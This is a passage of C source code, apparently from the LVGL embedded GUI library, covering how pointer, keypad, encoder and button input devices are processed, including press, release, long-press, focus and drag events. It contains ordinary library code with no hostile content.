* Process a new point from LV_INDEV_TYPE_POINTER input device
* @param i pointer to an input device
* @param data pointer to the data read from the input device
*/
static void indev_pointer_proc(lv_indev_t * i, lv_indev_data_t * data)
{
/*Move the cursor if set and moved*/
if(i->cursor != NULL &&
(i->proc.types.pointer.last_point.x != data->point.x || i->proc.types.pointer.last_point.y != data->point.y)) {
lv_obj_set_pos(i->cursor, data->point.x, data->point.y);
}
i->proc.types.pointer.act_point.x = data->point.x;
i->proc.types.pointer.act_point.y = data->point.y;
if(i->proc.state == LV_INDEV_STATE_PR) {
indev_proc_press(&i->proc);
}
else {
indev_proc_release(&i->proc);
}
i->proc.types.pointer.last_point.x = i->proc.types.pointer.act_point.x;
i->proc.types.pointer.last_point.y = i->proc.types.pointer.act_point.y;
}
/**
* Process a new point from LV_INDEV_TYPE_KEYPAD input device
* @param i pointer to an input device
* @param data pointer to the data read from the input device
*/
static void indev_keypad_proc(lv_indev_t * i, lv_indev_data_t * data)
{
#if LV_USE_GROUP
if(data->state == LV_INDEV_STATE_PR && i->proc.wait_until_release) return;
if(i->proc.wait_until_release) {
i->proc.wait_until_release = 0;
i->proc.pr_timestamp = 0;
i->proc.long_pr_sent = 0;
i->proc.types.keypad.last_state = LV_INDEV_STATE_REL; /*To skip the processing of release*/
}
lv_group_t * g = i->group;
if(g == NULL) return;
indev_obj_act = lv_group_get_focused(g);
if(indev_obj_act == NULL) return;
/*Save the last key to compare it with the current latter on RELEASE*/
uint32_t prev_key = i->proc.types.keypad.last_key;
/* Save the last key.
* It must be done here else `lv_indev_get_key` will return the last key in events and signals*/
i->proc.types.keypad.last_key = data->key;
/* Save the previous state so we can detect state changes below and also set the last state now
* so if any signal/event handler on the way returns `LV_RES_INV` the last state is remembered
* for the next time*/
uint32_t prev_state = i->proc.types.keypad.last_state;
i->proc.types.keypad.last_state = data->state;
/*Key press happened*/
if(data->state == LV_INDEV_STATE_PR && prev_state == LV_INDEV_STATE_REL) {
i->proc.pr_timestamp = lv_tick_get();
/*Simulate a press on the object if ENTER was pressed*/
if(data->key == LV_KEY_ENTER) {
/*Send the ENTER as a normal KEY*/
lv_group_send_data(g, LV_KEY_ENTER);
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_PRESSED, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_PRESSED, NULL);
if(indev_reset_check(&i->proc)) return;
}
else if(data->key == LV_KEY_ESC) {
/*Send the ESC as a normal KEY*/
lv_group_send_data(g, LV_KEY_ESC);
lv_event_send(indev_obj_act, LV_EVENT_CANCEL, NULL);
if(indev_reset_check(&i->proc)) return;
}
/*Move the focus on NEXT*/
else if(data->key == LV_KEY_NEXT) {
lv_group_set_editing(g, false); /*Editing is not used by KEYPAD is be sure it is disabled*/
lv_group_focus_next(g);
if(indev_reset_check(&i->proc)) return;
}
/*Move the focus on PREV*/
else if(data->key == LV_KEY_PREV) {
lv_group_set_editing(g, false); /*Editing is not used by KEYPAD is be sure it is disabled*/
lv_group_focus_prev(g);
if(indev_reset_check(&i->proc)) return;
}
/*Just send other keys to the object (e.g. 'A' or `LV_GROUP_KEY_RIGHT`)*/
else {
lv_group_send_data(g, data->key);
}
}
/*Pressing*/
else if(data->state == LV_INDEV_STATE_PR && prev_state == LV_INDEV_STATE_PR) {
if(data->key == LV_KEY_ENTER) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_PRESSING, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_PRESSING, NULL);
if(indev_reset_check(&i->proc)) return;
}
/*Long press time has elapsed?*/
if(i->proc.long_pr_sent == 0 && lv_tick_elaps(i->proc.pr_timestamp) > i->driver.long_press_time) {
i->proc.long_pr_sent = 1;
if(data->key == LV_KEY_ENTER) {
i->proc.longpr_rep_timestamp = lv_tick_get();
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_LONG_PRESS, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_LONG_PRESSED, NULL);
if(indev_reset_check(&i->proc)) return;
}
}
/*Long press repeated time has elapsed?*/
else if(i->proc.long_pr_sent != 0 &&
lv_tick_elaps(i->proc.longpr_rep_timestamp) > i->driver.long_press_rep_time) {
i->proc.longpr_rep_timestamp = lv_tick_get();
/*Send LONG_PRESS_REP on ENTER*/
if(data->key == LV_KEY_ENTER) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_LONG_PRESS_REP, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_LONG_PRESSED_REPEAT, NULL);
if(indev_reset_check(&i->proc)) return;
}
/*Move the focus on NEXT again*/
else if(data->key == LV_KEY_NEXT) {
lv_group_set_editing(g, false); /*Editing is not used by KEYPAD is be sure it is disabled*/
lv_group_focus_next(g);
if(indev_reset_check(&i->proc)) return;
}
/*Move the focus on PREV again*/
else if(data->key == LV_KEY_PREV) {
lv_group_set_editing(g, false); /*Editing is not used by KEYPAD is be sure it is disabled*/
lv_group_focus_prev(g);
if(indev_reset_check(&i->proc)) return;
}
/*Just send other keys again to the object (e.g. 'A' or `LV_GORUP_KEY_RIGHT)*/
else {
lv_group_send_data(g, data->key);
if(indev_reset_check(&i->proc)) return;
}
}
}
/*Release happened*/
else if(data->state == LV_INDEV_STATE_REL && prev_state == LV_INDEV_STATE_PR) {
/*The user might clear the key when it was released. Always release the pressed key*/
data->key = prev_key;
if(data->key == LV_KEY_ENTER) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_RELEASED, NULL);
if(indev_reset_check(&i->proc)) return;
if(i->proc.long_pr_sent == 0) {
lv_event_send(indev_obj_act, LV_EVENT_SHORT_CLICKED, NULL);
if(indev_reset_check(&i->proc)) return;
}
lv_event_send(indev_obj_act, LV_EVENT_CLICKED, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_RELEASED, NULL);
if(indev_reset_check(&i->proc)) return;
}
i->proc.pr_timestamp = 0;
i->proc.long_pr_sent = 0;
}
indev_obj_act = NULL;
#else
(void)data; /*Unused*/
(void)i; /*Unused*/
#endif
}
/**
* Process a new point from LV_INDEV_TYPE_ENCODER input device
* @param i pointer to an input device
* @param data pointer to the data read from the input device
*/
static void indev_encoder_proc(lv_indev_t * i, lv_indev_data_t * data)
{
#if LV_USE_GROUP
if(data->state == LV_INDEV_STATE_PR && i->proc.wait_until_release) return;
if(i->proc.wait_until_release) {
i->proc.wait_until_release = 0;
i->proc.pr_timestamp = 0;
i->proc.long_pr_sent = 0;
i->proc.types.keypad.last_state = LV_INDEV_STATE_REL; /*To skip the processing of release*/
}
/* Save the last keys before anything else.
* They need to be already saved if the the function returns for any reason*/
lv_indev_state_t last_state = i->proc.types.keypad.last_state;
i->proc.types.keypad.last_state = data->state;
i->proc.types.keypad.last_key = data->key;
lv_group_t * g = i->group;
if(g == NULL) return;
indev_obj_act = lv_group_get_focused(g);
if(indev_obj_act == NULL) return;
/*Process the steps they are valid only with released button*/
if(data->state != LV_INDEV_STATE_REL) {
data->enc_diff = 0;
}
/*Refresh the focused object. It might change due to lv_group_focus_prev/next*/
indev_obj_act = lv_group_get_focused(g);
if(indev_obj_act == NULL) return;
/*Button press happened*/
if(data->state == LV_INDEV_STATE_PR && last_state == LV_INDEV_STATE_REL) {
i->proc.pr_timestamp = lv_tick_get();
if(data->key == LV_KEY_ENTER) {
bool editable = false;
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_GET_EDITABLE, &editable);
if(lv_group_get_editing(g) == true || editable == false) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_PRESSED, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_PRESSED, NULL);
if(indev_reset_check(&i->proc)) return;
}
}
else if(data->key == LV_KEY_LEFT) {
/*emulate encoder left*/
data->enc_diff--;
}
else if(data->key == LV_KEY_RIGHT) {
/*emulate encoder right*/
data->enc_diff++;
}
else if(data->key == LV_KEY_ESC) {
/*Send the ESC as a normal KEY*/
lv_group_send_data(g, LV_KEY_ESC);
lv_event_send(indev_obj_act, LV_EVENT_CANCEL, NULL);
if(indev_reset_check(&i->proc)) return;
}
/*Just send other keys to the object (e.g. 'A' or `LV_GROUP_KEY_RIGHT`)*/
else {
lv_group_send_data(g, data->key);
}
}
/*Pressing*/
else if(data->state == LV_INDEV_STATE_PR && last_state == LV_INDEV_STATE_PR) {
/* Long press*/
if(i->proc.long_pr_sent == 0 && lv_tick_elaps(i->proc.pr_timestamp) > i->driver.long_press_time) {
i->proc.long_pr_sent = 1;
i->proc.longpr_rep_timestamp = lv_tick_get();
if(data->key == LV_KEY_ENTER) {
bool editable = false;
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_GET_EDITABLE, &editable);
/*On enter long press toggle edit mode.*/
if(editable) {
/*Don't leave edit mode if there is only one object (nowhere to navigate)*/
if(_lv_ll_is_empty(&g->obj_ll) == false) {
lv_group_set_editing(g, lv_group_get_editing(g) ? false : true); /*Toggle edit mode on long press*/
}
}
/*If not editable then just send a long press signal*/
else {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_LONG_PRESS, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_LONG_PRESSED, NULL);
if(indev_reset_check(&i->proc)) return;
}
}
i->proc.long_pr_sent = 1;
}
/*Long press repeated time has elapsed?*/
else if(i->proc.long_pr_sent != 0 && lv_tick_elaps(i->proc.longpr_rep_timestamp) > i->driver.long_press_rep_time) {
i->proc.longpr_rep_timestamp = lv_tick_get();
if(data->key == LV_KEY_ENTER) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_LONG_PRESS_REP, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_LONG_PRESSED_REPEAT, NULL);
if(indev_reset_check(&i->proc)) return;
}
else if(data->key == LV_KEY_LEFT) {
/*emulate encoder left*/
data->enc_diff--;
}
else if(data->key == LV_KEY_RIGHT) {
/*emulate encoder right*/
data->enc_diff++;
}
else {
lv_group_send_data(g, data->key);
if(indev_reset_check(&i->proc)) return;
}
}
}
/*Release happened*/
else if(data->state == LV_INDEV_STATE_REL && last_state == LV_INDEV_STATE_PR) {
if(data->key == LV_KEY_ENTER) {
bool editable = false;
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_GET_EDITABLE, &editable);
/*The button was released on a non-editable object. Just send enter*/
if(editable == false) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_RELEASED, NULL);
if(indev_reset_check(&i->proc)) return;
if(i->proc.long_pr_sent == 0) lv_event_send(indev_obj_act, LV_EVENT_SHORT_CLICKED, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_CLICKED, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_RELEASED, NULL);
if(indev_reset_check(&i->proc)) return;
}
/*An object is being edited and the button is released. */
else if(g->editing) {
/*Ignore long pressed enter release because it comes from mode switch*/
if(!i->proc.long_pr_sent || _lv_ll_is_empty(&g->obj_ll)) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_RELEASED, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_SHORT_CLICKED, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_CLICKED, NULL);
if(indev_reset_check(&i->proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_RELEASED, NULL);
if(indev_reset_check(&i->proc)) return;
lv_group_send_data(g, LV_KEY_ENTER);
}
}
/*If the focused object is editable and now in navigate mode then on enter switch edit
mode*/
else if(editable && !g->editing && !i->proc.long_pr_sent) {
lv_group_set_editing(g, true); /*Set edit mode*/
}
}
i->proc.pr_timestamp = 0;
i->proc.long_pr_sent = 0;
}
indev_obj_act = NULL;
/*if encoder steps or simulated steps via left/right keys*/
if(data->enc_diff != 0) {
/*In edit mode send LEFT/RIGHT keys*/
if(lv_group_get_editing(g)) {
int32_t s;
if(data->enc_diff < 0) {
for(s = 0; s < -data->enc_diff; s++) lv_group_send_data(g, LV_KEY_LEFT);
}
else if(data->enc_diff > 0) {
for(s = 0; s < data->enc_diff; s++) lv_group_send_data(g, LV_KEY_RIGHT);
}
}
/*In navigate mode focus on the next/prev objects*/
else {
int32_t s;
if(data->enc_diff < 0) {
for(s = 0; s < -data->enc_diff; s++) lv_group_focus_prev(g);
}
else if(data->enc_diff > 0) {
for(s = 0; s < data->enc_diff; s++) lv_group_focus_next(g);
}
}
}
#else
(void)data; /*Unused*/
(void)i; /*Unused*/
#endif
}
/**
* Process new points from a input device. indev->state.pressed has to be set
* @param indev pointer to an input device state
* @param x x coordinate of the next point
* @param y y coordinate of the next point
*/
static void indev_button_proc(lv_indev_t * i, lv_indev_data_t * data)
{
/* Die gracefully if i->btn_points is NULL */
if(i->btn_points == NULL) {
LV_LOG_WARN("indev_button_proc: btn_points was NULL");
return;
}
i->proc.types.pointer.act_point.x = i->btn_points[data->btn_id].x;
i->proc.types.pointer.act_point.y = i->btn_points[data->btn_id].y;
/*Still the same point is pressed*/
if(i->proc.types.pointer.last_point.x == i->proc.types.pointer.act_point.x &&
i->proc.types.pointer.last_point.y == i->proc.types.pointer.act_point.y && data->state == LV_INDEV_STATE_PR) {
indev_proc_press(&i->proc);
}
else {
/*If a new point comes always make a release*/
indev_proc_release(&i->proc);
}
i->proc.types.pointer.last_point.x = i->proc.types.pointer.act_point.x;
i->proc.types.pointer.last_point.y = i->proc.types.pointer.act_point.y;
}
/**
* Process the pressed state of LV_INDEV_TYPE_POINER input devices
* @param indev pointer to an input device 'proc'
* @return LV_RES_OK: no indev reset required; LV_RES_INV: indev reset is required
*/
static void indev_proc_press(lv_indev_proc_t * proc)
{
indev_obj_act = proc->types.pointer.act_obj;
if(proc->wait_until_release != 0) return;
lv_disp_t * disp = indev_act->driver.disp;
bool new_obj_searched = false;
/*If there is no last object then search*/
if(indev_obj_act == NULL) {
indev_obj_act = lv_indev_search_obj(lv_disp_get_layer_sys(disp), &proc->types.pointer.act_point);
if(indev_obj_act == NULL) indev_obj_act = lv_indev_search_obj(lv_disp_get_layer_top(disp),
&proc->types.pointer.act_point);
if(indev_obj_act == NULL) indev_obj_act = lv_indev_search_obj(lv_disp_get_scr_act(disp),
&proc->types.pointer.act_point);
new_obj_searched = true;
}
/*If there is last object but it is not dragged and not protected also search*/
else if(proc->types.pointer.drag_in_prog == 0 &&
lv_obj_is_protected(indev_obj_act, LV_PROTECT_PRESS_LOST) == false) {
indev_obj_act = lv_indev_search_obj(lv_disp_get_layer_sys(disp), &proc->types.pointer.act_point);
if(indev_obj_act == NULL) indev_obj_act = lv_indev_search_obj(lv_disp_get_layer_top(disp),
&proc->types.pointer.act_point);
if(indev_obj_act == NULL) indev_obj_act = lv_indev_search_obj(lv_disp_get_scr_act(disp),
&proc->types.pointer.act_point);
new_obj_searched = true;
}
/*If a draggable or a protected object was the last then keep it*/
else {
}
/*The last object might have drag throw. Stop it manually*/
if(new_obj_searched && proc->types.pointer.last_obj) {
proc->types.pointer.drag_throw_vect.x = 0;
proc->types.pointer.drag_throw_vect.y = 0;
indev_drag_throw(proc);
}
/*Do not use disabled objects*/
if(indev_obj_act && (lv_obj_get_state(indev_obj_act, LV_OBJ_PART_MAIN) & LV_STATE_DISABLED)) {
indev_obj_act = proc->types.pointer.act_obj;
}
/*If a new object was found reset some variables and send a pressed signal*/
if(indev_obj_act != proc->types.pointer.act_obj) {
proc->types.pointer.last_point.x = proc->types.pointer.act_point.x;
proc->types.pointer.last_point.y = proc->types.pointer.act_point.y;
/*If a new object found the previous was lost, so send a signal*/
if(proc->types.pointer.act_obj != NULL) {
/*Save the obj because in special cases `act_obj` can change in the signal function*/
lv_obj_t * last_obj = proc->types.pointer.act_obj;
last_obj->signal_cb(last_obj, LV_SIGNAL_PRESS_LOST, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(last_obj, LV_EVENT_PRESS_LOST, NULL);
if(indev_reset_check(proc)) return;
}
proc->types.pointer.act_obj = indev_obj_act; /*Save the pressed object*/
proc->types.pointer.last_obj = indev_obj_act;
if(indev_obj_act != NULL) {
/* Save the time when the obj pressed to count long press time.*/
proc->pr_timestamp = lv_tick_get();
proc->long_pr_sent = 0;
proc->types.pointer.drag_limit_out = 0;
proc->types.pointer.drag_in_prog = 0;
proc->types.pointer.drag_sum.x = 0;
proc->types.pointer.drag_sum.y = 0;
proc->types.pointer.drag_dir = LV_DRAG_DIR_BOTH;
proc->types.pointer.gesture_sent = 0;
proc->types.pointer.gesture_sum.x = 0;
proc->types.pointer.gesture_sum.y = 0;
proc->types.pointer.vect.x = 0;
proc->types.pointer.vect.y = 0;
/*Search for 'top' attribute*/
lv_obj_t * i = indev_obj_act;
lv_obj_t * last_top = NULL;
while(i != NULL) {
if(i->top) last_top = i;
i = lv_obj_get_parent(i);
}
if(last_top != NULL) {
/*Move the last_top object to the foreground*/
lv_obj_move_foreground(last_top);
}
/*Send a signal about the press*/
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_PRESSED, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_PRESSED, NULL);
if(indev_reset_check(proc)) return;
if(indev_act->proc.wait_until_release) return;
/*Handle focus*/
indev_click_focus(&indev_act->proc);
if(indev_reset_check(proc)) return;
}
}
/*Calculate the types.pointer.vector*/
proc->types.pointer.vect.x = proc->types.pointer.act_point.x - proc->types.pointer.last_point.x;
proc->types.pointer.vect.y = proc->types.pointer.act_point.y - proc->types.pointer.last_point.y;
proc->types.pointer.drag_throw_vect.x = (proc->types.pointer.drag_throw_vect.x * 5) >> 3;
proc->types.pointer.drag_throw_vect.y = (proc->types.pointer.drag_throw_vect.y * 5) >> 3;
if(proc->types.pointer.drag_throw_vect.x < 0)
proc->types.pointer.drag_throw_vect.x++;
else if(proc->types.pointer.drag_throw_vect.x > 0)
proc->types.pointer.drag_throw_vect.x--;
if(proc->types.pointer.drag_throw_vect.y < 0)
proc->types.pointer.drag_throw_vect.y++;
else if(proc->types.pointer.drag_throw_vect.y > 0)
proc->types.pointer.drag_throw_vect.y--;
proc->types.pointer.drag_throw_vect.x += (proc->types.pointer.vect.x * 4) >> 3;
proc->types.pointer.drag_throw_vect.y += (proc->types.pointer.vect.y * 4) >> 3;
/*If there is active object and it can be dragged run the drag*/
if(indev_obj_act != NULL) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_PRESSING, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_PRESSING, NULL);
if(indev_reset_check(proc)) return;
if(indev_act->proc.wait_until_release) return;
indev_drag(proc);
indev_gesture(proc);
if(indev_reset_check(proc)) return;
/*If there is no drag then check for long press time*/
if(proc->types.pointer.drag_in_prog == 0 && proc->long_pr_sent == 0) {
/*Send a signal about the long press if enough time elapsed*/
if(lv_tick_elaps(proc->pr_timestamp) > indev_act->driver.long_press_time) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_LONG_PRESS, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_LONG_PRESSED, NULL);
if(indev_reset_check(proc)) return;
/*Mark the signal sending to do not send it again*/
proc->long_pr_sent = 1;
/*Save the long press time stamp for the long press repeat handler*/
proc->longpr_rep_timestamp = lv_tick_get();
}
}
/*Send long press repeated signal*/
if(proc->types.pointer.drag_in_prog == 0 && proc->long_pr_sent == 1) {
/*Send a signal about the long press repeat if enough time elapsed*/
if(lv_tick_elaps(proc->longpr_rep_timestamp) > indev_act->driver.long_press_rep_time) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_LONG_PRESS_REP, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_LONG_PRESSED_REPEAT, NULL);
if(indev_reset_check(proc)) return;
proc->longpr_rep_timestamp = lv_tick_get();
}
}
}
}
/**
* Process the released state of LV_INDEV_TYPE_POINER input devices
* @param proc pointer to an input device 'proc'
*/
static void indev_proc_release(lv_indev_proc_t * proc)
{
if(proc->wait_until_release != 0) {
proc->types.pointer.act_obj = NULL;
proc->types.pointer.last_obj = NULL;
proc->pr_timestamp = 0;
proc->longpr_rep_timestamp = 0;
proc->wait_until_release = 0;
}
indev_obj_act = proc->types.pointer.act_obj;
/*Forget the act obj and send a released signal */
if(indev_obj_act) {
/* If the object was protected against press lost then it possible that
* the object is already not pressed but still it is the `act_obj`.
* In this case send the `LV_SIGNAL_RELEASED/CLICKED` instead of `LV_SIGNAL_PRESS_LOST` if
* the indev is ON the `types.pointer.act_obj` */
if(lv_obj_is_protected(indev_obj_act, LV_PROTECT_PRESS_LOST)) {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_RELEASED, indev_act);
if(indev_reset_check(proc)) return;
if(proc->types.pointer.drag_in_prog == 0) {
if(proc->long_pr_sent == 0) {
lv_event_send(indev_obj_act, LV_EVENT_SHORT_CLICKED, NULL);
if(indev_reset_check(proc)) return;
}
lv_event_send(indev_obj_act, LV_EVENT_CLICKED, NULL);
if(indev_reset_check(proc)) return;
}
lv_event_send(indev_obj_act, LV_EVENT_RELEASED, NULL);
if(indev_reset_check(proc)) return;
}
/* The simple case: `act_obj` was not protected against press lost.
* If it is already not pressed then `indev_proc_press` would set `indev_obj_act = NULL`*/
else {
indev_obj_act->signal_cb(indev_obj_act, LV_SIGNAL_RELEASED, indev_act);
if(indev_reset_check(proc)) return;
if(proc->long_pr_sent == 0 && proc->types.pointer.drag_in_prog == 0) {
lv_event_send(indev_obj_act, LV_EVENT_SHORT_CLICKED, NULL);
if(indev_reset_check(proc)) return;
}
if(proc->types.pointer.drag_in_prog == 0) {
lv_event_send(indev_obj_act, LV_EVENT_CLICKED, NULL);
if(indev_reset_check(proc)) return;
}
lv_event_send(indev_obj_act, LV_EVENT_RELEASED, NULL);
if(indev_reset_check(proc)) return;
}
/*Send LV_EVENT_DRAG_THROW_BEGIN if required */
/*If drag parent is active check recursively the drag_parent attribute*/
lv_obj_t * drag_obj = get_dragged_obj(indev_obj_act);
if(drag_obj) {
if(lv_obj_get_drag_throw(drag_obj) && proc->types.pointer.drag_in_prog) {
if(drag_obj->signal_cb) drag_obj->signal_cb(drag_obj, LV_SIGNAL_DRAG_THROW_BEGIN, NULL);
if(indev_reset_check(proc)) return;
lv_event_send(drag_obj, LV_EVENT_DRAG_THROW_BEGIN, NULL);
if(indev_reset_check(proc)) return;
}
}
proc->types.pointer.act_obj = NULL;
proc->pr_timestamp = 0;
proc->longpr_rep_timestamp = 0;
}
/*The reset can be set in the signal function.
* In case of reset query ignore the remaining parts.*/
if(proc->types.pointer.last_obj != NULL && proc->reset_query == 0) {
indev_drag_throw(proc);
if(indev_reset_check(proc)) return;
}
}
/**
* Process a new point from LV_INDEV_TYPE_BUTTON input device
* @param i pointer to an input device
* @param data pointer to the data read from the input device
* Reset input device if a reset query has been sent to it
* @param indev pointer to an input device
*/
static void indev_proc_reset_query_handler(lv_indev_t * indev)
{
if(indev->proc.reset_query) {
indev->proc.types.pointer.act_obj = NULL;
indev->proc.types.pointer.last_obj = NULL;
indev->proc.types.pointer.drag_limit_out = 0;
indev->proc.types.pointer.drag_in_prog = 0;
indev->proc.long_pr_sent = 0;
indev->proc.pr_timestamp = 0;
indev->proc.longpr_rep_timestamp = 0;
indev->proc.types.pointer.drag_sum.x = 0;
indev->proc.types.pointer.drag_sum.y = 0;
indev->proc.types.pointer.drag_dir = LV_DRAG_DIR_BOTH;
indev->proc.types.pointer.drag_throw_vect.x = 0;
indev->proc.types.pointer.drag_throw_vect.y = 0;
indev->proc.types.pointer.gesture_sum.x = 0;
indev->proc.types.pointer.gesture_sum.y = 0;
indev->proc.reset_query = 0;
indev_obj_act = NULL;
}
}
/**
* Search the most top, clickable object by a point
* @param obj pointer to a start object, typically the screen
* @param point pointer to a point for searching the most top child
* @return pointer to the found object or NULL if there was no suitable object
*/
lv_obj_t * lv_indev_search_obj(lv_obj_t * obj, lv_point_t * point)
{
lv_obj_t * found_p = NULL;
/*If the point is on this object check its children too*/
if(lv_obj_hittest(obj, point)) {
lv_obj_t * i;
_LV_LL_READ(obj->child_ll, i) {
found_p = lv_indev_search_obj(i, point);
/*If a child was found then break*/
if(found_p != NULL) {
break;
}
}
/*If then the children was not ok, and this obj is clickable
* and it or its parent is not hidden then save this object*/
if(found_p == NULL && lv_obj_get_click(obj) != false) {
lv_obj_t * hidden_i = obj;
while(hidden_i != NULL) {
if(lv_obj_get_hidden(hidden_i) == true) break;
hidden_i = lv_obj_get_parent(hidden_i);
}
/*No parent found with hidden == true*/
if(hidden_i == NULL) found_p = obj;
}
}
return found_p;
}
/**
* Handle focus/defocus on click for POINTER input devices
* @param proc pointer to the state of the indev
*/
static void indev_click_focus(lv_indev_proc_t * proc)
{
/*Handle click focus*/
lv_obj_t * obj_to_focus = lv_obj_get_focused_obj(indev_obj_act);
if(lv_obj_is_protected(indev_obj_act, LV_PROTECT_CLICK_FOCUS) == false &&
proc->types.pointer.last_pressed != obj_to_focus) {
#if LV_USE_GROUP
lv_group_t * g_act = lv_obj_get_group(indev_obj_act);
lv_group_t * g_prev = proc->types.pointer.last_pressed ? lv_obj_get_group(proc->types.pointer.last_pressed) : NULL;
/*If both the last and act. obj. are in the same group (or no group but it's also the same) */
if(g_act == g_prev) {
/*The objects are in a group*/
if(g_act) {
lv_group_focus_obj(indev_obj_act);
if(indev_reset_check(proc)) return;
}
/*The object are not in group*/
else {
if(proc->types.pointer.last_pressed) {
lv_signal_send(proc->types.pointer.last_pressed, LV_SIGNAL_DEFOCUS, NULL);
if(indev_reset_check(proc)) return;
lv_event_send(proc->types.pointer.last_pressed, LV_EVENT_DEFOCUSED, NULL);
if(indev_reset_check(proc)) return;
}
lv_signal_send(indev_obj_act, LV_SIGNAL_FOCUS, NULL);
if(indev_reset_check(proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_FOCUSED, NULL);
if(indev_reset_check(proc)) return;
}
}
/*The object are not in the same group (in different group or one in not a group)*/
else {
/*If the prev. obj. is not in a group then defocus it.*/
if(g_prev == NULL && proc->types.pointer.last_pressed) {
lv_signal_send(proc->types.pointer.last_pressed, LV_SIGNAL_DEFOCUS, NULL);
if(indev_reset_check(proc)) return;
lv_event_send(proc->types.pointer.last_pressed, LV_EVENT_DEFOCUSED, NULL);
if(indev_reset_check(proc)) return;
}
/*Focus on a non-group object*/
else {
if(proc->types.pointer.last_pressed) {
/*If the prev. object also wasn't in a group defocus it*/
if(g_prev == NULL) {
lv_signal_send(proc->types.pointer.last_pressed, LV_SIGNAL_DEFOCUS, NULL);
if(indev_reset_check(proc)) return;
lv_event_send(proc->types.pointer.last_pressed, LV_EVENT_DEFOCUSED, NULL);
if(indev_reset_check(proc)) return;
}
/*If the prev. object also was in a group at least "LEAVE" it instead of defocus*/
else {
lv_signal_send(proc->types.pointer.last_pressed, LV_SIGNAL_LEAVE, NULL);
if(indev_reset_check(proc)) return;
lv_event_send(proc->types.pointer.last_pressed, LV_EVENT_LEAVE, NULL);
if(indev_reset_check(proc)) return;
}
}
}
/*Focus to the act. in its group*/
if(g_act) {
lv_group_focus_obj(indev_obj_act);
if(indev_reset_check(proc)) return;
}
else {
lv_signal_send(indev_obj_act, LV_SIGNAL_FOCUS, NULL);
if(indev_reset_check(proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_FOCUSED, NULL);
if(indev_reset_check(proc)) return;
}
}
#else
if(proc->types.pointer.last_pressed) {
lv_signal_send(proc->types.pointer.last_pressed, LV_SIGNAL_DEFOCUS, NULL);
if(indev_reset_check(proc)) return;
lv_event_send(proc->types.pointer.last_pressed, LV_EVENT_DEFOCUSED, NULL);
if(indev_reset_check(proc)) return;
}
lv_signal_send(indev_obj_act, LV_SIGNAL_FOCUS, NULL);
if(indev_reset_check(proc)) return;
lv_event_send(indev_obj_act, LV_EVENT_FOCUSED, NULL);
if(indev_reset_check(proc)) return;
#endif
proc->types.pointer.last_pressed = obj_to_focus;
}
}
/**
* Handle the dragging of indev_proc_p->types.pointer.act_obj
* @param indev pointer to a input device state
*/
static void indev_drag(lv_indev_proc_t * proc)
{
lv_obj_t * drag_obj = get_dragged_obj(proc->types.pointer.act_obj);
bool drag_just_started = false;
if(drag_obj == NULL) return;
if(lv_obj_get_drag(drag_obj) == false) return;
lv_drag_dir_t allowed_dirs = lv_obj_get_drag_dir(drag_obj);
/*Count the movement by drag*/
if(proc->types.pointer.drag_limit_out == 0) {
proc->types.pointer.drag_sum.x += proc->types.pointer.vect.x;
proc->types.pointer.drag_sum.y += proc->types.pointer.vect.y;
/*Enough move?*/
bool hor_en = false;
bool ver_en = false;
if(allowed_dirs == LV_DRAG_DIR_HOR || allowed_dirs == LV_DRAG_DIR_BOTH) {
hor_en = true;
}
if(allowed_dirs == LV_DRAG_DIR_VER || allowed_dirs == LV_DRAG_DIR_BOTH) {
ver_en = true;
}
if(allowed_dirs == LV_DRAG_DIR_ONE) {
if(LV_MATH_ABS(proc->types.pointer.drag_sum.x) > LV_MATH_ABS(proc->types.pointer.drag_sum.y)) {
hor_en = true;
}
else {
ver_en = true;
}
}
/*If a move is greater then LV_DRAG_LIMIT then begin the drag*/
if((hor_en && LV_MATH_ABS(proc->types.pointer.drag_sum.x) >= indev_act->driver.drag_limit) ||
(ver_en && LV_MATH_ABS(proc->types.pointer.drag_sum.y) >= indev_act->driver.drag_limit)) {
